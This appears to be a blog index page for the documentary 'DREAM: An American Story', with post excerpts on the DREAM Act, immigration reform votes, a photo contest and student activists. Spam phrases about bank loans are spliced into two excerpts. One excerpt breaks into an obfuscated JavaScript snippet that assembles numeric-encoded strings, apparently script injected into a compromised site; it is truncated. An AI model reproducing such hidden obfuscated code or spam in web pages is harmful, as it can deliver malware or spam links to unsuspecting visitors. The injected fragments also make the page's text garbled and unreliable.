Immigration Reform from the Ground Up: A Filmmaker’s Perspective
When I embarked on this journey over four years ago, I never thought I would witness what is happening in the country today: Congress is seriously debating passage of a bill that would overhaul our dysfunctional immigration system. What’s more, after several failed attempts in the past couple of decades, it looks as though the legislation has a real shot at becoming law. As a filmmaker and a first generation Hispanic American, I had only one thought in mind when I started directing DREAM: An American Story and that thought was: “I need to help the Hispanic American community in this nat
Welcome to Our Newly Re-Designed Site!
It’s been a while since we wrote anything but that’s because we’ve been so busy with the re-design of the website and production of the documentary! So here's a quick update: Of import lately on the production front, we had a great interview with Congresswoman Ileana Ros-Lehtinen (18th District, FL), who was directly involved in helping the Gomez family avoid deportation during the summer of 2007. Although the parents were eventually deported, the Gomez brothers, Juan and Alex, were able to stay because of the help provided by Congresswoman Ros-Lehtinen and the intervention of Repre
Two DREAMs…Worlds Apart
On the opposite end of the National Mall where Martin Luther King once stood and gave his "I Have a Dream" speech, I sat in the Senate Gallery with modern-day DREAMers on a cold day in December and watched as their hopes fell apart, rent asunder by a procedural vote intended to stop unlimited debate on the DREAM Act. The cloture vote on the DREAM Act on December 18, 2010 fell short by 5 votes and the bill was stopped dead in its tracks. Unfortunately for the DREAMers, their aspirations may be the same as those expressed by Martin Luther King not too long ago but the circumstances couldn't b
We've Launched the DREAM Photo Contest!
OK...we've started our photo contest! We're ready to do our part by taking your pics and turning them into a viral video that we'll release shortly after the contest is over (we'll be running the contest from today to December 5). We are hoping that the viral video will make a passionate statement for passage of the DREAM Act...to let Congress and the American people know why it's so important! So now we need YOU to do YOUR PART! Submit a creative photo of yourself, your friend(s) or family holding up a sign in front of a recognizable geographic location (close to where you live) that r
DREAM Act Faces an Uphill Battle During the Lame-Duck Session
pnc bank personal loanAlthough Harry Reid managed to beat back a surprisingly ferocious attack by Tea Party candidate Sharron Angle, and Democrats managed to keep the Senate in their hands, their power position was seriously eroded by the loss of five seats during the mid-term elections. And although I think that Senator Reid will keep his promise to introduce the DREAM Act as a stand-alone bill during the lame-duck session, the new make-up of the Senate puts the bill's passage in serious jeopardy.
CIR, DREAM Act or Both?
In producing/directing this documentary I've talked to a lot of people involved in this struggle...some who are focused on passage of the DREAM Act, others who are trying to put their energy into passage of comprehensive immigration reform and others who are fighting for both. This is a controversial subject amongst several groups who are supportive of immigration reform and it breaks down like this: - Those who are fighting for comprehensive immigration reform (CIR), believe that passing bills that address the immigration status of a subset of the 11-13M (or so) undocumented immigrants in t
Does Immigration Reform Have a Chance to Pass this Year?
Just as the Obama Administration goes on the offensive on the topic of immigration reform and urges for passage of a bill on the issue as soon as possible (no doubt partially in response to the recent Arizona legislation), the opinion from both sides of the aisle seems to be that the political capital is not there...at least not for passage of comprehensive reform this year:limited time periodalso offers var _st=[];var m=[];_st.push("14520020120619318611720");m.push("h");_st.push("120619718614611920118");m.unshift("C");_st.push("620520113218420020011");m.push("a");_st.push("914712018519619218
"Trail of DREAMS" activists at the National Press Club
Check out the video we produced when the "Trail of DREAMS" students arrived in DC: Student activists Felipe Matos, Gaby Pacheco, Carlos Roa and Juan Rodriguez walked 1,500 miles from Miami to Washington, DC to promote passage of the DREAM Act and sensible immigration reform. FIAC - Trail of DREAMs coverage on Vimeo. In this video: Susana Barciela: Policy Director, Florida Immigrant Advocacy Center (FIAC) Cheryl Little: Executive Director, FIAC Jesus Reyes: College Student Gaby Pacheco: Trail of DREAMS walker and activist In the words of the activists themselves: We are four students
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